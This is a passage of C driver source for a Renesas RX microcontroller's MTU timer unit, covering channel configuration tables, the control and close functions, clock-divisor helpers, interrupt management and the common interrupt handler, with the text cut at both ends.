(uint8_t)MTU_GRP_CH0,\n (uint8_t)MTU_GRP_CH1,\n (uint8_t)MTU_GRP_CH2,\n#ifndef BSP_MCU_RX110\n (uint8_t)MTU_GRP_CH3,\n (uint8_t)MTU_GRP_CH4,\n#endif\n};\n\n/* Static control structures for each channel */\n#if MTU_CFG_USE_CH0 == 1\nmtu_callback p_callback_mtu0;\nmtu_timer_chnl_settings_t mtu0_tmr_settings;\nconst mtu_config_block_t g_mtu0_handle =\n{\n &p_callback_mtu0, // pointer to callback function pointer.\n &mtu0_tmr_settings, // location of variable timer settings struct.\n MTU0_REGS, // Pointers to registers for this channel\n 0, // MTU channel number.\n MTU_IR_PRIORITY_CHAN0, // Interrupt priority level.\n MTU_CFG_FILT_CHAN0 // Input capture filter clock setting.\n};\n#endif\n\n#if MTU_CFG_USE_CH1 == 1\nmtu_callback p_callback_mtu1;\nmtu_timer_chnl_settings_t mtu1_tmr_settings;\nconst mtu_config_block_t g_mtu1_handle =\n{\n &p_callback_mtu1, // pointer to callback function pointer.\n &mtu1_tmr_settings, // location of variable timer settings struct.\n MTU1_REGS, // Pointers to registers for this channel\n 1, // MTU channel number.\n MTU_IR_PRIORITY_CHAN1, // Interrupt priority level.\n MTU_CFG_FILT_CHAN1 // Input capture filter clock setting.\n};\n#endif\n\n#if MTU_CFG_USE_CH2 == 1\nmtu_callback p_callback_mtu2;\nmtu_timer_chnl_settings_t mtu2_tmr_settings;\nconst mtu_config_block_t g_mtu2_handle =\n{\n &p_callback_mtu2, // pointer to callback function pointer.\n &mtu2_tmr_settings, // location of variable timer settings struct.\n MTU2_REGS, // Pointers to registers for this channel\n 2, // MTU channel number.\n MTU_IR_PRIORITY_CHAN2, // Interrupt priority level.\n MTU_CFG_FILT_CHAN2 // Input capture filter clock setting.\n};\n#endif\n\n#if MTU_CFG_USE_CH3 == 1\nmtu_callback p_callback_mtu3;\nmtu_timer_chnl_settings_t mtu3_tmr_settings;\nconst mtu_config_block_t g_mtu3_handle =\n{\n &p_callback_mtu3, // pointer to callback function pointer.\n &mtu3_tmr_settings, // location of variable timer settings struct.\n MTU3_REGS, // Pointers to registers for this channel\n 3, // MTU channel number.\n MTU_IR_PRIORITY_CHAN3, // Interrupt priority level.\n MTU_CFG_FILT_CHAN3 // Input capture filter clock setting.\n};\n#endif\n\n#if MTU_CFG_USE_CH4 == 1\nmtu_callback p_callback_mtu4;\nmtu_timer_chnl_settings_t mtu4_tmr_settings;\nconst mtu_config_block_t g_mtu4_handle =\n{\n &p_callback_mtu4, // pointer to callback function pointer.\n &mtu4_tmr_settings, // location of variable timer settings struct.\n MTU4_REGS, // Pointers to registers for this channel\n 4, // MTU channel number.\n MTU_IR_PRIORITY_CHAN4, // Interrupt priority level.\n MTU_CFG_FILT_CHAN4 // Input capture filter clock setting.\n};\n#endif\n\nconst mtu_handle_t g_mtu_handles[] =\n{\n #if MTU_CFG_USE_CH0 == 1\n (mtu_handle_t) &g_mtu0_handle,\n #else\n NULL,\n #endif\n #if MTU_CFG_USE_CH1 == 1\n (mtu_handle_t) &g_mtu1_handle,\n #else\n NULL,\n #endif\n #if MTU_CFG_USE_CH2 == 1\n (mtu_handle_t) &g_mtu2_handle,\n #else\n NULL,\n #endif\n #if MTU_CFG_USE_CH3 == 1\n (mtu_handle_t) &g_mtu3_handle,\n #else\n NULL,\n #endif\n #if MTU_CFG_USE_CH4 == 1\n (mtu_handle_t) &g_mtu4_handle,\n #else\n NULL,\n #endif\n\n};\n\n/***********************************************************************************************************************\nPrivate local function declarations\n***********************************************************************************************************************/\nvoid mtu_interrupts_enable(uint8_t channel);\nvoid mtu_interrupts_disable(uint8_t channel);\nvoid mtu_interrupts_clear(uint8_t channel);\nuint8_t mtu_interrupts_check(uint8_t channel);\nvoid mtu_interrupts_group_enable(uint8_t group);\nvoid mtu_interrupts_group_disable(uint8_t group);\nbool mtu_check_group(uint8_t group);\nvoid power_on_off (uint8_t on_or_off);\nbool mtu_calc_clock_divisor(uint8_t chan, uint8_t *div_idx, uint32_t frq_target);\nuint16_t mtu_calc_tgr_ticks(uint16_t pclk_div, uint32_t frq_target );\nstatic void mtu_isr_common(mtu_channel_t channel, mtu_timer_num_t tgr);\n\n\n/***********************************************************************************************************************\n* Function Name: R_MTU_GetVersion\n* Description : Returns the version of this module.\n* The version number is encoded where the top 2 bytes are the major version number and the bottom 2 bytes\n* are the minor version number. For example, Rev 4.25 would be 0x00040019.\n* Version number is defined in \"r_mtu_timer_rx_private.h\"\n* Arguments : none\n* Return Value : Version Number\n* NOTE: This function is inlined using #pragma inline directive.\n***********************************************************************************************************************/\n#pragma inline(R_MTU_GetVersion)\nuint32_t R_MTU_GetVersion(void)\n{\n uint32_t version_number = 0;\n /* Bring in major version number. */\n version_number = ((uint16_t)MTU_RX_VERSION_MAJOR) << 16;\n /* Bring in minor version number. */\n version_number |= (uint16_t)MTU_RX_VERSION_MINOR;\n return version_number;\n}\n\n/***********************************************************************************************************************\n* Function Name: R_MTU_Control\n* Description : This function is responsible for handling special hardware or software operations for the MTU channel.\n* Arguments : channel-\n* The channel number\n* cmd\n* Enumerated command code\n* pcmd_data\n* Pointer to the command-data structure parameter of type void that is used to reference the location\n* of any data specific to the command that is needed for its completion.\n* Return Value : MTU_SUCCESS-\n* Command successfully completed.\n* MTU_TIMERS_ERR_CH_NOT_OPEN-\n* The channel has not been opened. Perform R_MTU_Open() first\n* MTU_TIMERS_ERR_BAD_CHAN-\n* Channel number is invalid for part\n* MTU_TIMERS_ERR_UNKNOWN_CMD-\n* Control command is not recognized.\n* MTU_TIMERS_ERR_NULL_PTR-\n* pcmd_data pointer or handle is NULL\n* MTU_TIMERS_ERR_INVALID_ARG-\n* An element of the pcmd_data structure contains an invalid value.\n* MTU_TIMERS_ERR_LOCK-\n* The lock could not be acquired. The channel is busy.\n***********************************************************************************************************************/\nmtu_err_t R_MTU_Control (mtu_channel_t channel,\n mtu_cmd_t cmd,\n void *pcmd_data)\n{\n mtu_capture_status_t * p_capture_data;\n mtu_timer_status_t * p_timer_data;\n mtu_group_t * p_group_data;\n mtu_capture_set_edge_t * p_cap_edge_data;\n uint8_t temp_byte;\n\n /* Command function data structure definitions. One for each command in mtu_timer_cmd_t. */\n #if MTU_CFG_REQUIRE_LOCK == 1\n bool lock_result = false;\n #endif\n\n mtu_handle_t my_handle;\n mtu_timer_chnl_settings_t *pconfig; // Store a pointer to the user's config structure.\n\n #if MTU_CFG_PARAM_CHECKING_ENABLE == 1\n if (MTU_CHANNEL_MAX <= channel) // First check for channel number out of range\n {\n return MTU_ERR_BAD_CHAN;\n }\n\n switch(cmd) /* Check for valid command and data. */\n {\n case MTU_CMD_START:\n case MTU_CMD_STOP:\n case MTU_CMD_SAFE_STOP:\n case MTU_CMD_RESTART:\n case MTU_CMD_CLEAR_EVENTS:\n break;\n\n case MTU_CMD_GET_STATUS:\n case MTU_CMD_SYNCHRONIZE:\n case MTU_CMD_SET_CAPT_EDGE:\n if ((NULL == pcmd_data) || (FIT_NO_PTR == pcmd_data))\n {\n return MTU_ERR_NULL_PTR;\n }\n break;\n\n default:\n {\n /* Error, command not recognized. */\n return MTU_ERR_UNKNOWN_CMD;\n }\n }\n\n if (!g_mtu_channel_mode[channel])\n {\n return MTU_ERR_CH_NOT_OPENED;\n }\n #endif\n\n #if MTU_CFG_REQUIRE_LOCK == 1\n /* Attempt to acquire lock for this MTU channel. Prevents reentrancy conflict. */\n lock_result = R_BSP_HardwareLock((mcu_lock_t)(BSP_LOCK_MTU0 + channel));\n\n if(false == lock_result)\n {\n return MTU_ERR_LOCK; /* The control function is currently locked. */\n }\n #endif\n\n my_handle = g_mtu_handles[channel];\n\n pconfig = my_handle->p_mtu_chnl_tmr_settings;\n\n switch(cmd)\n {\n case MTU_CMD_START: // Activate clocking\n {\n if ((NULL != pcmd_data) && (FIT_NO_PTR != pcmd_data)) // A channel group specifier was provided\n {\n p_group_data = (mtu_group_t *)pcmd_data;\n\n temp_byte = (uint8_t) *p_group_data;\n\n if(!mtu_check_group(temp_byte) || (temp_byte & ~MTU_TSTR_MASK)) // Error in group parameter.\n {\n #if MTU_CFG_REQUIRE_LOCK == 1\n R_BSP_HardwareUnlock((mcu_lock_t)(BSP_LOCK_MTU0 + channel));\n #endif\n return MTU_ERR_INVALID_ARG;\n }\n\n mtu_interrupts_group_enable(temp_byte);\n MTU.TSTR.BYTE = temp_byte; //Set the start bits for the group.\n }\n else // Just this channel.\n {\n mtu_interrupts_enable(channel);\n MTU.TSTR.BYTE |= g_mtu_tstr_bits[channel];\n }\n }\n break;\n\n case MTU_CMD_STOP: // Pause clocking\n {\n if ((NULL != pcmd_data) && (FIT_NO_PTR != pcmd_data)) // A channel group specifier was provided\n {\n p_group_data = (mtu_group_t *)pcmd_data;\n\n temp_byte = (uint8_t) *p_group_data;\n temp_byte &= MTU_TSTR_MASK; // Protect reserved TSTR bits.\n\n if(!mtu_check_group(temp_byte) || (temp_byte & ~MTU_TSTR_MASK)) // Error in group parameter.\n {\n #if MTU_CFG_REQUIRE_LOCK == 1\n R_BSP_HardwareUnlock((mcu_lock_t)(BSP_LOCK_MTU0 + channel));\n #endif\n return MTU_ERR_INVALID_ARG;\n }\n\n mtu_interrupts_group_disable(temp_byte);\n MTU.TSTR.BYTE &= (~temp_byte); // clear the start bits for this group.\n }\n else // Just this channel.\n {\n mtu_interrupts_disable(channel);\n MTU.TSTR.BYTE &= (uint8_t)(~(g_mtu_tstr_bits[channel]));\n }\n }\n break;\n\n case MTU_CMD_SAFE_STOP: // Stop clocking and set outputs to safe state\n {\n // First stop the clocking.\n MTU.TSTR.BYTE &= (uint8_t)(~(g_mtu_tstr_bits[channel]));\n // Now re-write the TIOR register to revert to 'initial' MTIOC output state.\n if((0 != pconfig->timer_a.freq) && (MTU_ACTION_OUTPUT & pconfig->timer_a.actions.do_action))\n {\n *my_handle->regs.tiorh |= pconfig->timer_a.actions.output; // Set bits in lower nibble\n }\n if((0 != pconfig->timer_b.freq) && (MTU_ACTION_OUTPUT & pconfig->timer_b.actions.do_action))\n {\n *my_handle->regs.tiorh |= (pconfig->timer_b.actions.output << 4); // Move bits to upper nibble\n }\n if((0 != pconfig->timer_c.freq) && (MTU_ACTION_OUTPUT & pconfig->timer_c.actions.do_action))\n {\n *my_handle->regs.tiorl |= pconfig->timer_c.actions.output; // Set bits in lower nibble\n }\n if((0 != pconfig->timer_d.freq) && (MTU_ACTION_OUTPUT & pconfig->timer_d.actions.do_action))\n {\n *my_handle->regs.tiorl |= (pconfig->timer_d.actions.output << 4); // Move bits to upper nibble\n }\n\n }\n break;\n\n case MTU_CMD_RESTART: // Zero the counter then resume clocking\n {\n *my_handle->regs.tcnt = 0; // Clear the counter TCNT register.\n mtu_interrupts_enable(channel);\n MTU.TSTR.BYTE |= g_mtu_tstr_bits[channel]; // Start counting.\n }\n break;\n\n case MTU_CMD_GET_STATUS: // Retrieve the current status of the channel\n {\n if (MTU_MODE_COMPARE_MATCH == g_mtu_channel_mode[channel])\n {\n /* Copy void pcmd_data pointer over to a concrete type. */\n p_timer_data = (mtu_timer_status_t *)pcmd_data;\n /* Return timer status to application */\n p_timer_data->timer_running = (bool)(MTU.TSTR.BYTE & g_mtu_tstr_bits[channel]); // Running status\n p_timer_data->timer_count = *my_handle->regs.tcnt; // The current timer count value.\n }\n else if (MTU_MODE_INPUT_CAPTURE == g_mtu_channel_mode[channel])\n {\n /* Cast void pcmd_data pointer to a concrete type. */\n p_capture_data = (mtu_capture_status_t *)pcmd_data;\n\n /* Return a snapshot of TGR capture interrupts that have fired. */\n p_capture_data->capture_flags = mtu_interrupts_check(channel);\n\n p_capture_data->timer_count = *my_handle->regs.tcnt; // The current timer count value.\n\n /* Grab the TGR register values. */\n p_capture_data->capt_a_count = *my_handle->regs.tgra;\n p_capture_data->capt_b_count = *my_handle->regs.tgrb;\n /* Not all channels have TGRC and TGRD */\n if (NULL != my_handle->regs.tgrc)\n {\n p_capture_data->capt_c_count = *my_handle->regs.tgrc;\n }\n else\n {\n p_capture_data->capt_c_count = 0;\n }\n if (NULL != my_handle->regs.tgrd)\n {\n p_capture_data->capt_d_count = *my_handle->regs.tgrd;\n }\n else\n {\n p_capture_data->capt_d_count = 0;\n }\n }\n }\n break;\n\n case MTU_CMD_CLEAR_EVENTS: // Clears the interrupt flags for the channel\n {\n mtu_interrupts_clear(channel);\n }\n break;\n\n case MTU_CMD_SET_CAPT_EDGE: // Set the detection edge polarity for input capture.\n {\n if (MTU_MODE_INPUT_CAPTURE == g_mtu_channel_mode[channel])\n {\n /* Cast void pcmd_data pointer to a concrete type. */\n p_cap_edge_data = (mtu_capture_set_edge_t *)pcmd_data;\n\n if ((MTU_CHANNEL_1 == channel) || (MTU_CHANNEL_2 == channel))\n {\n if((MTU_CAP_SRC_C == p_cap_edge_data->capture_src) || (MTU_CAP_SRC_D == p_cap_edge_data->capture_src))\n {\n #if MTU_CFG_REQUIRE_LOCK == 1\n R_BSP_HardwareUnlock((mcu_lock_t)(BSP_LOCK_MTU0 + channel));\n #endif\n return MTU_ERR_INVALID_ARG; // Resource not present on these channels.\n }\n }\n switch (p_cap_edge_data->capture_src)\n {\n case MTU_CAP_SRC_A:\n {\n *my_handle->regs.tiorl &= 0xF0; // First clear the lower nibble.\n *my_handle->regs.tiorh |= p_cap_edge_data->capture_edge; // Set bits in lower nibble\n }\n break;\n case MTU_CAP_SRC_B:\n {\n *my_handle->regs.tiorl &= 0x0F; // First clear the upper nibble.\n *my_handle->regs.tiorh |= (p_cap_edge_data->capture_edge << 4); // Move bits to upper nibble\n }\n break;\n case MTU_CAP_SRC_C:\n {\n *my_handle->regs.tiorl &= 0xF0; // First clear the lower nibble.\n *my_handle->regs.tiorl |= p_cap_edge_data->capture_edge; // Set bits in lower nibble\n }\n break;\n case MTU_CAP_SRC_D:\n {\n *my_handle->regs.tiorl &= 0x0F; // First clear the upper nibble.\n *my_handle->regs.tiorl |= (p_cap_edge_data->capture_edge << 4); // Move bits to upper nibble\n }\n break;\n }\n }\n else // Command not valid for this mode.\n {\n #if MTU_CFG_REQUIRE_LOCK == 1\n R_BSP_HardwareUnlock((mcu_lock_t)(BSP_LOCK_MTU0 + channel));\n #endif\n return MTU_ERR_INVALID_ARG;\n }\n\n }\n break;\n\n case MTU_CMD_SYNCHRONIZE:\n {\n /* Copy void pcmd_data pointer over to a concrete type. */\n p_group_data = (mtu_group_t *)pcmd_data;\n\n temp_byte = (uint8_t) *p_group_data;\n temp_byte &= MTU_TSYR_MASK; // Protect reserved TSYR bits.\n\n if(!mtu_check_group(temp_byte))\n {\n #if MTU_CFG_REQUIRE_LOCK == 1\n R_BSP_HardwareUnlock((mcu_lock_t)(BSP_LOCK_MTU0 + channel));\n #endif\n return MTU_ERR_INVALID_ARG;\n }\n\n MTU.TSYR.BYTE = temp_byte; //Set the SYNCn 0-4 bits.\n }\n break;\n\n default:\n {\n //Nothing -- unreachable.\n }\n }\n\n #if MTU_CFG_REQUIRE_LOCK == 1\n R_BSP_HardwareUnlock((mcu_lock_t)(BSP_LOCK_MTU0 + channel));\n #endif\n\n return MTU_SUCCESS;\n}\n/* end of function R_MTU_Control(). */\n\n\n/***********************************************************************************************************************\n* Function Name: R_MTU_Close\n* Description : Removes power to the MTU channel designated by the handle and disables the associated interrupts.\n* Arguments : : channel-\n* The channel number\n* Return Value : MTU_SUCCESS-\n* Successful; channel closed\n* MTU_TIMERS_ERR_CH_NOT_OPEN-\n* The channel has not been opened so closing has no effect.\n* MTU_TIMERS_ERR_BAD_CHAN-\n* Channel number is invalid for part\n***********************************************************************************************************************/\nmtu_err_t R_MTU_Close(mtu_channel_t channel)\n{\n #if MTU_CFG_PARAM_CHECKING_ENABLE == 1\n if (MTU_CHANNEL_MAX <= channel) // First check for channel number out of range\n {\n return MTU_ERR_BAD_CHAN;\n }\n #endif\n\n /* Check to see if the channel is currently initialized. */\n if (!g_mtu_channel_mode[channel])\n {\n /* This channel is not open so need not be closed. */\n return MTU_ERR_CH_NOT_OPENED;\n }\n\n /* Stop any current operation. */\n R_MTU_Control((mtu_channel_t)channel, MTU_CMD_STOP, FIT_NO_PTR);\n\n mtu_interrupts_disable(channel);\n\n g_mtu_channel_mode[channel] = MTU_MODE_CLOSED;\n g_num_channels_in_use--;\n\n /* Shut down the MTU unit if this was the last channel in use. */\n if (0 == g_num_channels_in_use)\n {\n power_on_off(MTU_POWER_OFF);\n }\n\n /* Clear all control flags arrays for this channel. */\n g_mtu_channel_repeats[channel] = 0;\n g_mtu_channel_clr_src[channel] = 0;\n\n g_mtu_tgi_icu_en_flags[channel][MTU_TIMER_A] = 0;\n g_mtu_tgi_icu_en_flags[channel][MTU_TIMER_B] = 0;\n g_mtu_tgi_icu_en_flags[channel][MTU_TIMER_C] = 0;\n g_mtu_tgi_icu_en_flags[channel][MTU_TIMER_D] = 0;\n\n g_mtu_tgr_callbacks[channel][MTU_TIMER_A] = 0;\n g_mtu_tgr_callbacks[channel][MTU_TIMER_B] = 0;\n g_mtu_tgr_callbacks[channel][MTU_TIMER_C] = 0;\n g_mtu_tgr_callbacks[channel][MTU_TIMER_D] = 0;\n\n return MTU_SUCCESS;\n}\n/* end of function R_MTU_Close(). */\n\n/***********************************************************************************************************************\nPrivate MTU function definitions\n***********************************************************************************************************************/\n\n/***********************************************************************************************************************\n* Function Name: mtu_calc_input_clocks\n* Description : local helper function. Figures out the register settings for clocking divisor and TGR count.\n* Arguments : frq_target -\n* The requested frequency.\n* Return Value : none\n***********************************************************************************************************************/\nbool mtu_calc_clock_divisor(uint8_t chan, uint8_t *div_idx, uint32_t frq_target )\n{\n uint32_t i;\n bool result = false;\n uint16_t pclk_div;\n uint16_t tgr_try;\n\n if ((uint32_t)BSP_PCLKB_HZ >= frq_target) /* Requested frequency must not be higher than PCLK. */\n {\n /* Check the available dividers to see if we can match the frequency requested by the user. */\n for (i = 0; i < MTU_NUM_CLK_DIVISORS; i++)\n {\n /* First check to see if this channel supports this divisor. */\n if (0xFF != g_chnl_clk_divs[chan][i]) // 0xFF means not available.\n {\n pclk_div = g_mtu_clock_divisors[i];\n\n /* Determine minimum frequency this divider can hit. For example, if a PCLK/16 is used and PCLK is 48MHz, then\n the minimum frequency we can support is around 45.8Hz. This obtained by doing the following calculation:\n (PCLK / divider) / max_counter_value\n Example:\n (48,000,000 / 16) / 65,535 = 45.8 */\n\n tgr_try = mtu_calc_tgr_ticks(pclk_div, frq_target);\n\n if (tgr_try != 0)\n {\n /* We can use this divisor. Return clock divisor to be used. */\n *div_idx = i;\n\n /* A valid divisor was found. */\n result = true;\n\n /* No need to check other divisors. */\n break;\n }\n } // 0xFF\n } // for\n }\n\n return result;\n}\n/* end of function mtu_calc_clock_divisor(). */\n\n/***********************************************************************************************************************\n* Function Name: mtu_calc_tgr_ticks\n* Description : local helper function. Calculate the TGR tick count based on frequency target and fixed PCLK divisor.\n* Arguments : frq_target -\n* The requested freq.\n* Return Value : the TGR value on success, 0 on failure.\n***********************************************************************************************************************/\nuint16_t mtu_calc_tgr_ticks(uint16_t pclk_div, uint32_t frq_target )\n{\n uint16_t result = 0;\n uint32_t clock_freq;\n\n clock_freq = BSP_PCLKB_HZ / pclk_div; /* Pre-scale the clock */\n\n if ((frq_target > (clock_freq / MTU_MAX_TIMER_TICKS)) && (frq_target < clock_freq))\n {\n /* Figure out counter ticks needed for this frequency, and return it */\n result = (uint16_t)((clock_freq/frq_target) -1 );\n }\n\n return result;\n}\n/* end of function mtu_calc_tgr_ticks(). */\n\n/***********************************************************************************************************************\n* Function Name: mtu_channel_clear\n* Description : Clears the registers and state variables of the given channel.\n* Arguments : channel -\n* Which channel to clear.\n* Return Value : none\n***********************************************************************************************************************/\nvoid mtu_channel_clear(uint8_t channel)\n{\n mtu_handle_t my_handle = g_mtu_handles[channel];\n\n /* Clear the software control flags */\n g_mtu_tgi_icu_en_flags[channel][MTU_TIMER_A] = 0;\n g_mtu_tgi_icu_en_flags[channel][MTU_TIMER_B] = 0;\n g_mtu_tgi_icu_en_flags[channel][MTU_TIMER_C] = 0;\n g_mtu_tgi_icu_en_flags[channel][MTU_TIMER_D] = 0;\n g_mtu_tgr_callbacks[channel][MTU_TIMER_A] = 0;\n g_mtu_tgr_callbacks[channel][MTU_TIMER_B] = 0;\n g_mtu_tgr_callbacks[channel][MTU_TIMER_C] = 0;\n g_mtu_tgr_callbacks[channel][MTU_TIMER_D] = 0;\n\n /* Clear all relevant MTU registers. */\n *my_handle->regs.tmdr = 0x00; // Clear the mode register.\n *my_handle->regs.tiorh = 0x00; // Clear TIORs to disable outputs.\n\n if (NULL != my_handle->regs.tiorl)\n {\n *my_handle->regs.tiorl = 0x00; // Some channels do not have this.\n }\n\n *my_handle->regs.tier = 0x00;\n *my_handle->regs.tcnt = 0x00; // Clear the count in the TCNT register.\n *my_handle->regs.tgra = 0x00; // Clear TGRs.\n *my_handle->regs.tgrb = 0x00;\n\n if (NULL != my_handle->regs.tgrc)\n {\n *my_handle->regs.tgrc = 0x00; // Some channels do not have this.\n }\n\n if (NULL != my_handle->regs.tgrd)\n {\n *my_handle->regs.tgrd = 0x00; // Some channels do not have this.\n }\n}\n/* End of function mtu_channel_clear(). */\n\n/***********************************************************************************************************************\n* Function Name: power_on_off\n* Description : Switches power to an MTU channel. Required by FIT spec.\n* Arguments : channel -\n* Which channel to use.\n* on_or_off -\n* What it says.\n* Return Value : none\n***********************************************************************************************************************/\nvoid power_on_off (uint8_t on_or_off)\n{\n R_BSP_RegisterProtectDisable(BSP_REG_PROTECT_LPC_CGC_SWR);\n\n MSTP(MTU) = on_or_off; // All channels are on the same module stop register.\n\n R_BSP_RegisterProtectEnable(BSP_REG_PROTECT_LPC_CGC_SWR);\n}\n/* End of function power_on(). */\n\n/***********************************************************************************************************************\n* Function Name: mtu_interrupts_clear\n* Description : Clears all pending MTU interrupts for the given channel.\n* Arguments : channel -\n* Which channel to clear.\n* Return Value : none\n***********************************************************************************************************************/\nvoid mtu_interrupts_clear(uint8_t channel)\n{\n mtu_handle_t my_handle = g_mtu_handles[channel];\n uint8_t i;\n\n for (i = 0; i < MTU_NUM_TGIS; i++)\n {\n if (MTU_NOT_SUPP != g_mtu_tgi_icu_en_masks[channel][i])\n {\n *(my_handle->regs.ir + i) = 0x00; // Clear the interrupt request bit.\n }\n }\n}\n/* End of function mtu_interrupts_clear(). */\n\n/***********************************************************************************************************************\n* Function Name: MTU_interrupts_check\n* Description : Checks all MTU TGR interrupts for the given channel. Used for polling type operation.\n* Arguments : channel -\n* Which channel to check.\n* Return Value : Zero if all interrupts clear, Bit pattern of any interrupts set.\n***********************************************************************************************************************/\nuint8_t mtu_interrupts_check(uint8_t channel)\n{\n mtu_handle_t my_handle = g_mtu_handles[channel];\n uint8_t i;\n uint8_t int_flags = 0;\n\n for (i = 0; i < MTU_NUM_TGIS; i++)\n {\n if (MTU_NOT_SUPP != g_mtu_tgi_icu_en_masks[channel][i])\n {\n if (*(my_handle->regs.ir + i)) // IR flag is set.\n {\n int_flags |= (1 << i); // Set a flag in the bit position corresponding to the TGR number.\n }\n }\n }\n\n return int_flags;\n}\n/* End of function mtu_interrupts_clear(). */\n\n/***********************************************************************************************************************\n* Function Name: mtu_interrupts_enable\n* Description : Enable all MTU interrupts in ICU for the selected channel that are configured to be used.\n* Arguments : channel -\n* Which channel to use.\n* Return Value : none\n***********************************************************************************************************************/\nvoid mtu_interrupts_enable(uint8_t channel)\n{\n mtu_handle_t my_handle = g_mtu_handles[channel];\n\n if ((MTU_NOT_SUPP != g_mtu_tgi_icu_en_masks[channel][MTU_TIMER_A]) && (g_mtu_tgi_icu_en_flags[channel][MTU_TIMER_A]))\n {\n *my_handle->regs.ien_a |= g_mtu_tgi_icu_en_masks[channel][MTU_TIMER_A]; // Set interrupt enable bit in ICU\n }\n if ((MTU_NOT_SUPP != g_mtu_tgi_icu_en_masks[channel][MTU_TIMER_B]) && (g_mtu_tgi_icu_en_flags[channel][MTU_TIMER_B]))\n {\n *my_handle->regs.ien_b |= g_mtu_tgi_icu_en_masks[channel][MTU_TIMER_B];\n }\n if ((MTU_NOT_SUPP != g_mtu_tgi_icu_en_masks[channel][MTU_TIMER_C]) && (g_mtu_tgi_icu_en_flags[channel][MTU_TIMER_C]))\n {\n *my_handle->regs.ien_c |= g_mtu_tgi_icu_en_masks[channel][MTU_TIMER_C];\n }\n if ((MTU_NOT_SUPP != g_mtu_tgi_icu_en_masks[channel][MTU_TIMER_D]) && (g_mtu_tgi_icu_en_flags[channel][MTU_TIMER_D]))\n {\n *my_handle->regs.ien_d |= g_mtu_tgi_icu_en_masks[channel][MTU_TIMER_D];\n }\n}\n/* End of function mtu_interrupts_enable(). */\n\n\n/***********************************************************************************************************************\n* Function Name: mtu_interrupts_disable\n* Description : Disable all MTU interrupts in ICU for the selected channel.\n* Arguments : channel -\n* Which channel to use.\n* Return Value : none\n***********************************************************************************************************************/\nvoid mtu_interrupts_disable(uint8_t channel)\n{\n mtu_handle_t my_handle = g_mtu_handles[channel];\n\n if (MTU_NOT_SUPP != g_mtu_tgi_icu_en_masks[channel][MTU_TIMER_A])\n {\n *my_handle->regs.ien_a &= ~(g_mtu_tgi_icu_en_masks[channel][MTU_TIMER_A]); // Clear interrupt enable bit in ICU\n }\n if (MTU_NOT_SUPP != g_mtu_tgi_icu_en_masks[channel][MTU_TIMER_B])\n {\n *my_handle->regs.ien_b &= ~(g_mtu_tgi_icu_en_masks[channel][MTU_TIMER_B]);\n }\n if (MTU_NOT_SUPP != g_mtu_tgi_icu_en_masks[channel][MTU_TIMER_C])\n {\n *my_handle->regs.ien_c &= ~(g_mtu_tgi_icu_en_masks[channel][MTU_TIMER_C]);\n }\n if (MTU_NOT_SUPP != g_mtu_tgi_icu_en_masks[channel][MTU_TIMER_D])\n {\n *my_handle->regs.ien_d &= ~(g_mtu_tgi_icu_en_masks[channel][MTU_TIMER_D]); // Clear interrupt enable bit in ICU\n }\n}\n/* End of function mtu_interrupts_disable(). */\n\n/***********************************************************************************************************************\n* Function Name: mtu_interrupts_group_enable\n* Description : Enable all MTU interrupts in ICU for the selected channels..\n* Arguments : channel -\n* Which channel to use.\n* Return Value : none\n***********************************************************************************************************************/\nvoid mtu_interrupts_group_enable(uint8_t group)\n{\n uint8_t i;\n\n for (i = 0; i < MTU_CHANNEL_MAX; i++)\n {\n if(g_mtu_group_bits[i] & group)\n {\n mtu_interrupts_enable(i);\n }\n }\n}\n/* End of function mtu_interrupts_group_enable(). */\n\n/***********************************************************************************************************************\n* Function Name: mtu_interrupts_group_disable\n* Description : Disable all MTU interrupts in ICU for the selected channels.\n* Arguments : group -\n* Which channels to disable.\n* Return Value : none\n***********************************************************************************************************************/\nvoid mtu_interrupts_group_disable(uint8_t group)\n{\n uint8_t i;\n\n for (i = 0; i < MTU_CHANNEL_MAX; i++)\n {\n if(g_mtu_group_bits[i] & group)\n {\n mtu_interrupts_disable(i);\n }\n }\n}\n/* End of function mtu_interrupts_group_disable(). */\n\n/***********************************************************************************************************************\n* Function Name: mtu_check_group\n* Description : Checks all MTU channels in the group for open status.\n* Arguments : group -\n* Which channels to check.\n* Return Value : true if all members of group are open, false if any member closed.\n***********************************************************************************************************************/\nbool mtu_check_group(uint8_t group)\n{\n uint8_t i;\n\n if (0 == group)\n {\n return false; // Group cannot be empty.\n }\n\n for (i = 0; i < MTU_CHANNEL_MAX; i++)\n {\n if(g_mtu_group_bits[i] & group)\n {\n if(!g_mtu_channel_mode[i])\n {\n return false; // Error, channel is closed.\n }\n }\n }\n\n return true;\n}\n/* End of function mtu_check_group(). */\n\n/***********************************************************************************************************************\n* Function Name: mtu_isr_common\n* Description : the common handler for all TGR interrupts.\n* Checks whether the mtu repeats the cycle or needs to stop the timer now.\n* Calls the user defined callback if enabled.\n* Arguments : channel -\n* Which channel to use.\n* tgr -\n* Which TGR had the interrupt.\n* Return Value : none\n***********************************************************************************************************************/\nvoid mtu_isr_common(mtu_channel_t channel, mtu_timer_num_t tgr_num)\n{\n /* See if we need to stop the timer now. Only the clear source TGR is allowed to control the oneshot mode. */\n if ((0 == g_mtu_channel_repeats[channel]) && (tgr_num == g_mtu_channel_clr_src[channel]))\n {\n R_MTU_Control(channel, MTU_CMD_STOP, FIT_NO_PTR);\n }\n\n /* Do the callback for this interrupt if it is enabled. */\n if (1 == g_mtu_tgr_callbacks[channel][tgr_num])\n {\n /* Store the event data. */\n g_mtu_cb_data[channel].channel = channel;\n g_mtu_cb_data[channel].timer_num = tgr_num;\n /* Get the TGR value.\n * Contains the counter value at time of event when doing input capture operation.\n * Contains the TGR preset (compare value) when doing compare/match operation. */\n g_mtu_cb_data[channel].count = (uint32_t)(*(g_mtu_handles[channel]->regs.tgra + tgr_num));\n\n /* Call the User defined callback function. */\n (*(g_mtu_handles[channel]->p_callback))((void*)&(g_mtu_cb_data[channel])); // Pass the event data.\n }\n}\n/* End of function mtu_isr_common(). */\n\n/***********************************************************************************************************************\n* Description : MTU interrupt handler routines.\n***********************************************************************************************************************/\n#if MTU_CFG_USE_CH0 == 1\n /* MTU0.TGRA input capture/compare match. */\n #pragma interrupt (mtu_tgia0_isr(vect = VECT(MTU0, TGIA0)))\n void mtu_tgia0_isr(void)\n {\n /* Call the common handler for all TGR interrupts. */\n mtu_isr_common(MTU_CHANNEL_0, MTU_TIMER_A);\n }\n\n /* MTU0.TGRB input capture/compare match. */\n #pragma interrupt (mtu_tgib0_isr(vect = VECT(MTU0, TGIB0)))\n void mtu_tgib0_isr(void)\n {\n mtu_isr_common(MTU_CHANNEL_0, MTU_TIMER_B);\n }\n\n /* MTU0.TGRC input capture/compare match. */\n #pragma interrupt 